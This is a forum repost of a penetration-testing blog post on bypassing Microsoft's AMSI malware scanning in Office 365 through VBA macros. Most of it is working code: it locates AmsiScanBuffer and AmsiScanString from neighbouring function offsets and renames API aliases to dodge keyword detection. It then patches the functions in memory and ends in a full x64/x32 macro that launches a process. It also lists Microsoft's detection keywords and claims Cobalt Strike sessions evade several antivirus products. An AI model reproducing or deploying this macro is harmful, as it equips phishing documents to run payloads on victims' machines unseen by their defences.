Nytro Posted May 14, 2019 Report Share Posted May 14, 2019 Dynamic Microsoft Office 365 AMSI In Memory Bypass Using VBA By Last updated on 10th May 2019 By Richard Davy (@rd_pentest) & Gary Nield (@Monobehaviour) As most Pentesters know, Windows Defender is installed by default on Windows 10 and all new versions of Windows Server. During an engagement this can sometimes be frustrating, when wanting to obtain access to a remote machine, especially during a Phishing engagement. There are multiple AMSI bypasses available on the Internet and with some customisation my colleague and I, during previous research time at ECSC Plc, wrote some custom tools to achieve this goal for internal engagements. For the most part AMSI, using PowerShell, can be bypassed using simple obfuscation. AMSI within VBA, however, is very different. Further detailed information of how AMSI works within VBA can be found herehttps://www.microsoft.com/security/blog/2018/09/12/office-vba-amsi-parting-the-veil-on-malicious-macros/ VBA/AMSI Analysis Process Essentially, logging occurs before functions are called, which means that code is de-obfuscated before it is run. This gives Anti-Virus (AV) an opportunity to inspect it for malicious or suspicious behaviour. The result is that obfuscation is still useful for bypassing signature detection of the file, however, upon execution the code will still get flagged as a potential security concern by AMSI. Malicious Macro Detection Alert After some investigation (Googling) we found that some research had been undertaken in this area, along with several posts of malware dissection. Two prominent examples are below.https://blog.yoroi.company/research/the-document-that-eluded-applocker-and-amsi/https://idafchev.github.io/research/2019/03/23/office365_amsi_bypass.html The first link is analysis of malware found in the wild, which appears to use an in-memory bypass written by rastamouse, written in C# and can be located at the URL below. https://github.com/rasta-mouse/AmsiScanBufferBypass/blob/master/ASBBypass/Program.cs Rastamouse Source Code The second link is a post detailing research, which has already been completed and submitted to Microsoft. Microsoft’s response informed the researcher that they have addressed the issues raised. The author provided an initial port of the code to VBA, which gave a suitable starting point. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 Private Declare PtrSafe Function GetProcAddress Lib "kernel32" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr Private Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As LongPtr Private Declare PtrSafe Function VirtualProtect Lib "kernel32" (lpAddress As Any, ByVal dwSize As LongPtr, ByVal flNewProtect As Long, lpflOldProtect As Long) As Long Private Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As LongPtr) Private Sub Document_Open() Dim AmsiDLL As LongPtr Dim AmsiScanBufferAddr As LongPtr Dim result As Long Dim MyByteArray(6) As Byte Dim ArrayPointer As LongPtr MyByteArray(0) = 184 ' 0xB8 MyByteArray(1) = 87 ' 0x57 MyByteArray(2) = 0 ' 0x00 MyByteArray(3) = 7 ' 0x07 MyByteArray(4) = 128 ' 0x80 MyByteArray(5) = 195 ' 0xC3 AmsiDLL = LoadLibrary("amsi.dll") AmsiScanBufferAddr = GetProcAddress(AmsiDLL, "AmsiScanBuffer") result = VirtualProtect(ByVal AmsiScanBufferAddr, 5, 64, 0) ArrayPointer = VarPtr(MyByteArray(0)) CopyMemory ByVal AmsiScanBufferAddr, ByVal ArrayPointer, 6 End Sub After various modifications to the author’s code, it appeared that Microsoft’s method of addressing this issue was to flag as malicious any instance of the following keywords irrespective of their order of use. AmsiScanBuffer AmsiScanString RtlMoveMemory CopyMemory In theory, this defends multiple AMSI bypasses, which are publicly available on the Internet, as most are based around the premise of finding AmsiScanBuffer/AmsiScanString and patching the bytes in memory. This meant that we would have to put on our thinking caps in order to come up with an efficient way around the problem. To make life even more difficult for ourselves we decided that neither of us liked the current AMSI bypass as it didn’t check the byte locations for expected bytes before patching which could result in a program crash and that we’d be executing payloads without knowing whether AMSI was bypassed which could potentially give the game away – not ideal in a Redteam scenario. We also noticed that the code did not check whether Office was running in x32 or x64, both of which are offered by Microsoft and could result in a crash if patched arbitrarily. In order to investigate further we used WinDbg, which can be downloaded and installed via the link below.https://developer.microsoft.com/en-us/windows/downloads/windows-10-sdk To view the assembly code we are interested in, we first need to attach to the winword.exe process. To achieve this press F6, select winword.exe and then OK. Windbg Attach to Process Then in the debugger window type u amsi!amsiScanBuffer l100 AMSI Disassembly We can see both the AmsiScanBuffer and AmsiScanString assembly code, and we can also see the names of neighbouring functions – of notable interest is AmsiUacInitialize. We decided to modify the PoC code to see if we could successfully search for the address of AmsiUacInitialize and we were successful. 1 2 3 4 5 6 7 8 9 10 11 Private Declare PtrSafe Function GetProcAddress Lib "kernel32" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr Private Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As LongPtr Private Sub Test() Dim AmsiDLL As LongPtr Dim AmsiScanBufferAddr As LongPtr AmsiDLL = LoadLibrary("amsi.dll") AmsiScanBufferAddr = GetProcAddress(AmsiDLL, " AmsiUacInitialize ") End Sub The above code returns the address for “AmsiUacInitialize” and if we then subtract 80 from this value, we get the start address for “AmsiScanString”, similarly if we subtract 256 we get the start address for “AmsiScanBuffer”. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 Private Declare PtrSafe Function GetProcAddress Lib "kernel32" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr Private Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As LongPtr Private Sub x64_Office() Dim AmsiDLL As LongPtr Dim AmsiScanBufferAddr As LongPtr Dim AmsiScanStringAddr As LongPtr AmsiDLL = LoadLibrary("amsi.dll") AmsiScanBufferAddr = GetProcAddress(AmsiDLL, " AmsiUacInitialize ") - 256 Debug.print Hex(AmsiScanBufferAddr) AmsiScanStringAddr = GetProcAddress(AmsiDLL, " AmsiUacInitialize ") - 80 Debug.print Hex(AmsiScanStringAddr) End Sub We’ve now solved the first part of the puzzle; the next part is patching memory, which can be done using RtlFillMemory, though we need to make a simple change first. 1 Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDest As Any, pSource As Any, ByVal ByteLen As Long) During testing we found that if we left the Sub name as CopyMemory it got flagged by AMSI, however, AMSI was quite happy for us to use this function if we renamed CopyMemory to something else such as ByteSwapper. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 Declare PtrSafe Sub ByteSwapper Lib "kernel32" Alias "RtlMoveMemory" (pDest As Any, pSource As Any, ByVal ByteLen As Long) Private Declare PtrSafe Function GetProcAddress Lib "kernel32" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr Private Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As LongPtr Declare PtrSafe Sub ByteSwapper Lib "kernel32" Alias "RtlMoveMemory" (pDest As Any, pSource As Any, ByVal ByteLen As Long) Private Declare PtrSafe Function VirtualProtect Lib "kernel32" (lpAddress As Any, ByVal dwSize As LongPtr, ByVal flNewProtect As Long, lpflOldProtect As Long) As Long Private Sub x64_Office() Dim AmsiDLL As LongPtr Dim AmsiScanBufferAddr As LongPtr Dim AmsiScanStringAddr As LongPtr Dim result As Long AmsiDLL = LoadLibrary("amsi.dll") AmsiScanBufferAddr = GetProcAddress(AmsiDLL, " AmsiUacInitialize ") - 256 Debug.print Hex(AmsiScanBufferAddr) result = VirtualProtect(ByVal AmsiScanBufferAddr, 32, 64, 0) ByteSwapper ByVal (AmsiScanBufferAddr + 0), 1, Val("&H" & "90") – Modify the byte to NOP AmsiScanStringAddr = GetProcAddress(AmsiDLL, " AmsiUacInitialize ") - 80 Debug.print Hex(AmsiScanStringAddr) result = VirtualProtect(ByVal AmsiScanStringAddr, 32, 64, 0) ByteSwapper ByVal (AmsiScanStringAddr + 0), 1, Val("&H" & "90") – Modify the byte to NOP End Sub The above code will successfully bypass AMSI within x64 Version of Microsoft Office 365. Whilst the PoC works, a simple way to stop it would be to black list AmsiUacInitialize, using the same technique used to detect AmsiScanString and AmsiScanBuffer. To make this a little more robust, we decided to improve the code by dynamically calculating the code offsets, which we want to modify. This would then enable us to use any of the functions within amsi.dll to calculate the memory locations we need to patch. To mitigate, Microsoft would theoretically need to blacklist all of the functions. However, by reading memory and searching for the magic bytes to patch, we could just read the entire contents of amsi.dll in memory, starting from the amsi.dll base address and patch once the magic byte location was found. We also wanted to make this work on both x32 and x64 versions of Office 365, within one document rather than having a macro for each version. We decided to get the easy bit out of the way first, the following code detects whether Office 365 x32 or x64 is running and enables us to branch of accordingly. 1 2 3 4 5 6 7 8 9 10 Sub TestOfficeVersion() 'Test the Office version for x32 or x64 version #If Win64 Then Call x64_office #ElseIf Win32 Then Call x32_office #End If End Sub In order to read the bytes we want from memory, the first API we tried was: 1 Private Declare Sub RtlCopyMemory Lib "kernel32.dll" (ByRef Destination As Long, ByRef Source As Long, ByVal Length As Long) This API was initially successful, however, what we then later discovered was that RtlCopyMemory is only available for x64 and not x32. This initially puzzled us for a while, and we delved into Microsoft TechNet looking for other functions that we could use; we were both set on this code working on both x32 and x64. Further research revealed the breakthrough that we needed. RtlCopyMemory and RtlMoveMemory are both in fact an alias for memcpy, which is within the msvcrt.dll library. It can be referenced directly and luckily works for both x32 and x64. 1 Declare PtrSafe Sub Peek Lib "msvcrt" Alias "memcpy" (ByRef pDest As Any, ByRef pSource As Any, ByVal nBytes As Long) To get a buffer of bytes from memory, we take the offset of AmsiUacInitialize and go backwards an arbitrary value to somewhere before our code should be. We chose AmsiUacInitialize address – 352. Using this as the starting point we then increment forward 352 places, byte by byte and add this to a buffer. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 Function GetBuffer(LeakedAmsiDllAddr As LongPtr, TraverseOffset As Integer) As String Dim LeakedBytesBuffer As String Dim LeakedByte As LongPtr Dim TraverseStartAddr As LongPtr On Error Resume Next TraverseStartAddr = LeakedAmsiDllAddr - TraverseOffset Dim i As Integer For i = 0 To TraverseOffset Peek LeakedByte, ByVal (TraverseStartAddr + i), 1 If LeakedByte < 16 Then FixedByteString = "0" & Hex(LeakedByte) LeakedBytesBuffer = LeakedBytesBuffer & FixedByteString Else LeakedBytesBuffer = LeakedBytesBuffer & Hex(LeakedByte) End If Next i GetBuffer = LeakedBytesBuffer End Function After execution we get something similar to the following bytes as a buffer. 4C8BDC49895B0849896B104989731857415641574883EC704D8BF9418BF8488BF2488BD9488B0DADDA0000488D05A6DA0000488BAC24B80000004C8BB424B0000000483BC87423F6411C04741D488B49104C8BCB49896BB04D8973A8448944242849895398E8D2F7FFFF4885F6746685FF74624885ED745D4885DB7458813B414D53497550488B43084885C07447488B4B104885C9743E4889442458488D150D85000048895424404533C94889742448488D542440897C24504C8BC54C897C24604C89742468488B01488B4018FF15658B0000EB05B8570007804C8D5C2470498B5B20498B6B28498B7330498BE3415F415E5FC3CCCCCCCCCCCCCCCCCCCCCCCC4883EC384533DB4885D2743D4C8B5424604D85D274334883C8FF48FFC06644391C4275F64803C041BBFFFFFFFF493BC377174C895424284C894C24204D8BC8448BC0E8B9FEFFFFEB05B8570007804883C438C3CCCCCCCCCCCCCCCCCCCCCCCCCC48 We then need to confirm that our magic bytes are amongst this buffer and if so, calculate the new offset location to use for patching. The InStr function will compare two strings and return the position of the first occurrence of one string within another. InstructionInStringOffset = InStr(LeakedBytesBuffer, ScanBufferMagicBytes) Therefore, if InstructionInStringOffset is greater than zero, it means we have our magic bytes and can continue. To calculate the offset in the code, we take the starting point of where we read the buffer from, calculated as follows: LeakedAmsiDllAddr – TraverseOffset We then take the value of InstructionInStringOffset and subtract 1, to make sure our final offset value is one byte before the location we want to patch and then divide by two, to take into account we’re working in bytes. 1 2 3 4 5 6 7 Function FindPatchOffset(LeakedAmsiDllAddr As LongPtr, TraverseOffset As Integer, InstructionInStringOffset As Integer) As LongPtr Dim memOffset As Integer memOffset = (InstructionInStringOffset - 1) / 2 FindPatchOffset = (LeakedAmsiDllAddr - TraverseOffset) + memOffset End Function Now that we can dynamically calculate our base patch offset, we can now rewrite our initial PoC code to take these changes and additional functions into account. Patching in this manner, offers us quite a bit of freedom, both with regard to detection and also should the amsi.dll library change. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 Sub x64_office() Dim LeakedAmsiDllAddr As LongPtr Dim ScanBufferMagicBytes As String Dim ScanStringMagicBytes As String Dim LeakedBytesBuffer As String Dim AmsiScanBufferPatchAddr As LongPtr Dim AmsiScanStringPatchAddr As LongPtr Dim TrvOffset As Integer Dim InstructionInStringOffset As Integer ScanBufferMagicBytes = "4C8BDC49895B08" ScanStringMagicBytes = "4883EC384533DB" TrvOffset = 352 LeakedAmsiDllAddr = LoadDll("amsi.dll", "AmsiUacInitialise") LeakedBytesBuffer = GetBuffer(LeakedAmsiDllAddr, TrvOffset) InstructionInStringOffset = InStr(LeakedBytesBuffer, ScanBufferMagicBytes) If InstructionInStringOffset = 0 Then ' MsgBox "We didn't find the scanbuffer magicbytes :/" Else AmsiScanBufferPatchAddr = FindPatchOffset(LeakedAmsiDllAddr, TrvOffset, InstructionInStringOffset) Result = VirtualProtect(ByVal AmsiScanBufferPatchAddr, 32, 64, 0) ByteSwapper ByVal (AmsiScanBufferPatchAddr + 0), 1, Val("&H" & "90") ByteSwapper ByVal (AmsiScanBufferPatchAddr + 1), 1, Val("&H" & "C3") End If InstructionInStringOffset = InStr(LeakedBytesBuffer, ScanStringMagicBytes) If InstructionInStringOffset = 0 Then ' MsgBox "We didn't find the scanstring magicbytes :/" Else AmsiScanStringPatchAddr = FindPatchOffset(LeakedAmsiDllAddr, TrvOffset, InstructionInStringOffset) Result = VirtualProtect(ByVal AmsiScanStringPatchAddr, 32, 64, 0) ByteSwapper ByVal (AmsiScanStringPatchAddr + 0), 1, Val("&H" & "90") ByteSwapper ByVal (AmsiScanStringPatchAddr + 1), 1, Val("&H" & "C3") End If End Sub Now that we have control over AMSI this wouldn’t be complete if we didn’t briefly talk about launching payloads. Using functions such as ShellExecute or similar got detected by Windows Defender, both as other strains of Malware but also via the behavioural analysis detection. The most reliable method involved using CreateProcess, which bypasses detection by Windows Defender. During this research we also noted that Windows Defender could be bypassed quite easily by writing a simple encoder/decoder for strings, such as PowerShell cradles, encoding to base64.Decoding with native tools such as certutil.exe is unnecessary and increases the chances of detection. Full working code of both the x64 and x32 bypass can be seen below. The code below does not use any form of obfuscation nor does it do anything malicious it just launches good old calc. However with a little bit of extra work as seen in the videos below it can be used to successfully launch Cobalt Strike and bypass multiple AV vendor protections. Each AV solution tested was in its default out of the box installation state, no further configuration or hardening has been applied. Note – Prior to publishing this blog post we contacted Microsoft Response Centre and raised the issue of bypassing AMSI using VBA within Macros and they do not consider it a vulnerability. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 Private Declare PtrSafe Function GetProcAddress Lib "kernel32" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr Private Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As LongPtr Private Declare PtrSafe Function VirtualProtect Lib "kernel32" (lpAddress As Any, ByVal dwSize As LongPtr, ByVal flNewProtect As Long, lpflOldProtect As Long) As Long Private Declare PtrSafe Sub ByteSwapper Lib "kernel32.dll" Alias "RtlFillMemory" (Destination As Any, ByVal Length As Long, ByVal Fill As Byte) Declare PtrSafe Sub Peek Lib "msvcrt" Alias "memcpy" (ByRef pDest As Any, ByRef pSource As Any, ByVal nBytes As Long) Private Declare PtrSafe Function CreateProcess Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long Private Declare PtrSafe Function OpenProcess Lib "kernel32.dll" (ByVal dwAccess As Long, ByVal fInherit As Integer, ByVal hObject As Long) As Long Private Declare PtrSafe Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long Private Declare PtrSafe Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long Private Type PROCESS_INFORMATION hProcess As Long hThread As Long dwProcessId As Long dwThreadId As Long End Type Private Type STARTUPINFO cb As Long lpReserved As String lpDesktop As String lpTitle As String dwX As Long dwY As Long dwXSize As Long dwYSize As Long dwXCountChars As Long dwYCountChars As Long dwFillAttribute As Long dwFlags As Long wShowWindow As Integer cbReserved2 As Integer lpReserved2 As Long hStdInput As Long hStdOutput As Long hStdError As Long End Type Const CREATE_NO_WINDOW = &H8000000 Const CREATE_NEW_CONSOLE = &H10 Function LoadDll(dll As String, func As String) As LongPtr Dim AmsiDLL As LongPtr AmsiDLL = LoadLibrary(dll) LoadDll = GetProcAddress(AmsiDLL, func) End Function Function GetBuffer(LeakedAmsiDllAddr As LongPtr, TraverseOffset As Integer) As String Dim LeakedBytesBuffer As String Dim LeakedByte As LongPtr Dim TraverseStartAddr As LongPtr On Error Resume Next TraverseStartAddr = LeakedAmsiDllAddr - TraverseOffset Dim i As Integer For i = 0 To TraverseOffset Peek LeakedByte, ByVal (TraverseStartAddr + i), 1 If LeakedByte < 16 Then FixedByteString = "0" & Hex(LeakedByte) LeakedBytesBuffer = LeakedBytesBuffer & FixedByteString Else LeakedBytesBuffer = LeakedBytesBuffer & Hex(LeakedByte) End If Next i GetBuffer = LeakedBytesBuffer End Function Function FindPatchOffset(LeakedAmsiDllAddr As LongPtr, TraverseOffset As Integer, InstructionInStringOffset As Integer) As LongPtr Dim memOffset As Integer memOffset = (InstructionInStringOffset - 1) / 2 FindPatchOffset = (LeakedAmsiDllAddr - TraverseOffset) + memOffset End Function Sub x64_office() Dim LeakedAmsiDllAddr As LongPtr Dim ScanBufferMagicBytes As String Dim ScanStringMagicBytes As String Dim LeakedBytesBuffer As String Dim AmsiScanBufferPatchAddr As LongPtr Dim AmsiScanStringPatchAddr As LongPtr Dim TrvOffset As Integer Dim InstructionInStringOffset As Integer Dim Success As Integer ScanBufferMagicBytes = "4C8BDC49895B08" ScanStringMagicBytes = "4883EC384533DB" TrvOffset = 352 Success = 0 LeakedAmsiDllAddr = LoadDll("amsi.dll", "AmsiUacInitialise") LeakedBytesBuffer = GetBuffer(LeakedAmsiDllAddr, TrvOffset) InstructionInStringOffset = InStr(LeakedBytesBuffer, ScanBufferMagicBytes) If InstructionInStringOffset = 0 Then ' MsgBox "We didn't find the scanbuffer magicbytes :/" Else AmsiScanBufferPatchAddr = FindPatchOffset(LeakedAmsiDllAddr, TrvOffset, InstructionInStringOffset) Result = VirtualProtect(ByVal AmsiScanBufferPatchAddr, 32, 64, 0) ByteSwapper ByVal (AmsiScanBufferPatchAddr + 0), 1, Val("&H" & "90") ByteSwapper ByVal (AmsiScanBufferPatchAddr + 1), 1, Val("&H" & "C3") Success = Success + 1 End If InstructionInStringOffset = InStr(LeakedBytesBuffer, ScanStringMagicBytes) If InstructionInStringOffset = 0 Then ' MsgBox "We didn't find the scanstring magicbytes :/" Else AmsiScanStringPatchAddr = FindPatchOffset(LeakedAmsiDllAddr, TrvOffset, InstructionInStringOffset) Result = VirtualProtect(ByVal AmsiScanStringPatchAddr, 32, 64, 0) ByteSwapper ByVal (AmsiScanStringPatchAddr + 0), 1, Val("&H" & "90") ByteSwapper ByVal (AmsiScanStringPatchAddr + 1), 1, Val("&H" & "C3") Success = Success + 1 End If If Success = 2 Then Call CallMe End If End Sub Sub x32_office() Dim LeakedAmsiDllAddr As LongPtr Dim ScanBufferMagicBytes As String Dim ScanStringMagicBytes As String Dim LeakedBytesBuffer As String Dim AmsiScanBufferPatchAddr As LongPtr Dim AmsiScanStringPatchAddr As LongPtr Dim TrvOffset As Integer Dim InstructionInStringOffset As Integer Dim Success As Integer ScanBufferMagicBytes = "8B450C85C0745A85DB" ScanStringMagicBytes = "8B550C85D27434837D" TrvOffset = 300 Success = 0 LeakedAmsiDllAddr = LoadDll("amsi.dll", "AmsiUacInitialise") LeakedBytesBuffer = GetBuffer(LeakedAmsiDllAddr, TrvOffset) InstructionInStringOffset = InStr(LeakedBytesBuffer, ScanBufferMagicBytes) If InstructionInStringOffset = 0 Then ' MsgBox "We didn't find the scanbuffer magicbytes :/" Else AmsiScanBufferPatchAddr = FindPatchOffset(LeakedAmsiDllAddr, TrvOffset, InstructionInStringOffset) Debug.Print Hex(AmsiScanBufferPatchAddr) Result = VirtualProtect(ByVal AmsiScanBufferPatchAddr, 32, 64, 0) ByteSwapper ByVal (AmsiScanBufferPatchAddr + 0), 1, Val("&H" & "90") ByteSwapper ByVal (AmsiScanBufferPatchAddr + 1), 1, Val("&H" & "31") ByteSwapper ByVal (AmsiScanBufferPatchAddr + 2), 1, Val("&H" & "C0") Success = Success + 1 End If InstructionInStringOffset = InStr(LeakedBytesBuffer, ScanStringMagicBytes) If InstructionInStringOffset = 0 Then ' MsgBox "We didn't find the scanstring magicbytes :/" Else AmsiScanStringPatchAddr = FindPatchOffset(LeakedAmsiDllAddr, TrvOffset, InstructionInStringOffset) Debug.Print Hex(AmsiScanStringPatchAddr) Result = VirtualProtect(ByVal AmsiScanStringPatchAddr, 32, 64, 0) ByteSwapper ByVal (AmsiScanStringPatchAddr + 0), 1, Val("&H" & "90") ByteSwapper ByVal (AmsiScanStringPatchAddr + 1), 1, Val("&H" & "31") ByteSwapper ByVal (AmsiScanStringPatchAddr + 2), 1, Val("&H" & "D2") Success = Success + 1 End If If Success = 2 Then Call CallMe End If End Sub End Function Sub TestOfficeVersion() #If Win64 Then Call x64_office #ElseIf Win32 Then Call x32_office #End If End Sub Sub CallMe() Dim pInfo As PROCESS_INFORMATION Dim sInfo As STARTUPINFO Dim sNull As String Dim lSuccess As Long Dim lRetValue As Long lSuccess = CreateProcess(sNull, "calc.exe", ByVal 0&, ByVal 0&, 1&, CREATE_NEW_CONSOLE, ByVal 0&, sNull, sInfo, pInfo) lRetValue = CloseHandle(pInfo.hThread) lRetValue = CloseHandle(pInfo.hProcess) End Sub The videos below demonstrates a malicious Word document being launched on multiple systems where AMSI is enabled and different AV solutions are installed. In each case a Cobalt Strike session is successfully launched. Windows Defender Kaspersky Total Security Kaspersky Endpoint Security Sophos Home Sophos Endpoint Windows Defender Sursa: https://secureyourit.co.uk/wp/2019/05/10/dynamic-microsoft-office-365-amsi-in-memory-bypass-using-vba/ Quote Link to comment Share on other sites More sharing options...